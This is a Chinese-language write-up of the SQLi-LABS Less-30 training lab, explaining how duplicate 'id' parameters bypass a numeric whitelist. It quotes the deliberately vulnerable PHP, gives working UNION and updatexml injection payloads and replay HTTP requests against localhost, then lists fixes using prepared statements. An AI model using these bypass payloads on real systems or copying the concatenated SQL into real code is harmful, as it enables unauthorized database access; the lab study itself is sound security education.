Less-30 审计报告:HTTP 参数污染(HPP)绕过 WAF 白名单(双引号)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-30 Protection with WAF |
| 源码路径 | Less-30/login.php(WAF 入口,注入点)、Less-30/index.php(无过滤,盲注) |
| 漏洞类型 | SQL 注入 – 报错/联合注入,HPP 绕过 WAF 数字白名单,双引号闭合 |
| 注入点参数 | GET /Less-30/login.php?id=(重复 id 参数) |
| 报错/盲注 | login.php 报错回显(第 53 行);index.php 盲注(第 48 行 print_r 被注释) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件一:Less-30/login.php(带 WAF 的注入点)
// 第 17 行:关闭 PHP 警告
error_reporting(0);
// 第 22~25 行:两个不同的取值方式
$qs = $_SERVER['QUERY_STRING']; // 原始查询字符串
$hint=$qs;
$id1=java_implimentation($qs); // 取"第一个" id 值
$id=$_GET['id']; // PHP 取"最后一个" id 值
// 第 27 行:仅校验第一个 id
whitelist($id1);
// 第 28 行:双引号包裹
$id = '"' .$id. '"';
// 第 39 行:SQL 使用 $id(最后一个 id,未过滤)
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// 第 53 行:报错回显
print_r(mysql_error());
// 第 69~82 行:白名单 —— 只允许纯数字
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match) { }
else { header('Location: hacked.php'); }
}
// 第 87~106 行:模拟 Java 容器取"第一个" id 值
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value;
}
}
}
文件二:Less-30/index.php(无 WAF,盲注)
// 第 23 行:直接取参数,无任何过滤
$id=$_GET['id'];
// 第 31 行:双引号包裹
$id = '"' .$id. '"';
// 第 34 行:直接拼接
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// 第 48 行:报错回显被注释(盲注)
//print_r(mysql_error());
3. 漏洞分析
- WAF 机制:同 Less-29,
whitelist()仅校验java_implimentation()取到的第一个id(/^\d+$/);$_GET['id']取最后一个id进入 SQL。 - HPP 差异(核心):WAF 校验值 ≠ SQL 实际使用值。
?id=1&id=<payload>:- 第一个
id=1通过数字白名单; - 第二个
id=<payload>进入$id,再经第 28 行'"' .$id. '"'包裹为"<payload>"。
- 第一个
- 闭合方式:
WHERE id=$id,双引号由第 28 行提供。payload 以1"闭合双引号,-- -注释尾部。 - 报错回显:login.php 第 53 行有
mysql_error();index.php 第 48 行被注释(盲注,但 UNION 结果可直接显示)。
4. 利用方式
步骤一:确认 HPP 生效(login.php)
?id=1&id=2→ 正常显示 Angelina(id=2)信息,证明取的是第二个值、WAF 放行第一个。
步骤二:联合注入(HPP 绕过 + 双引号闭合)
?id=1&id=1" union select 1,2,database()-- -
拼接后:
SELECT * FROM users WHERE id="1" union select 1,2,database()-- -" LIMIT 0,1
- 结果显示
Your Login name:2、Your Password:security。
步骤三:报错注入
?id=1&id=1" and updatexml(1,concat(0x7e,database()),1)-- -
回显 XPATH syntax error: '~security'。
步骤四:直接访问 index.php(无 WAF,盲注/显示型)
?/Less-30/index.php?id=-1" union select 1,2,database()-- -
5. Yakit 重放数据包
GET /sqli-labs/Less-30/login.php?id=1&id=1"%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
报错注入报文:
GET /sqli-labs/Less-30/login.php?id=1&id=1"%20and%20updatexml(1,concat(0x7e,database()),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
关键:必须同时存在两个
id参数,第一个纯数字通过 WAF,第二个为 payload。"在 query string 中可直接发送。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:统一取值 + 白名单
<?php
// 1) 统一取最后一个 id 并强校验
$id = $_GET['id'];
if (!preg_match('/^\d+$/', $id)) {
header('Location: hacked.php'); exit;
}
// 2) 参数化
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
修复三:加固要点
- 统一 WAF 与后端对重复参数的处理规则;重复参数直接拒绝;
- 关闭
mysql_error()回显;数据库最小权限; - 升级 PHP 7+ / 8+,移除
mysql_*。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。 - 本关相比 Less-29 的区别:注入值被第 28 行用双引号包裹,payload 闭合
"即可。
正文完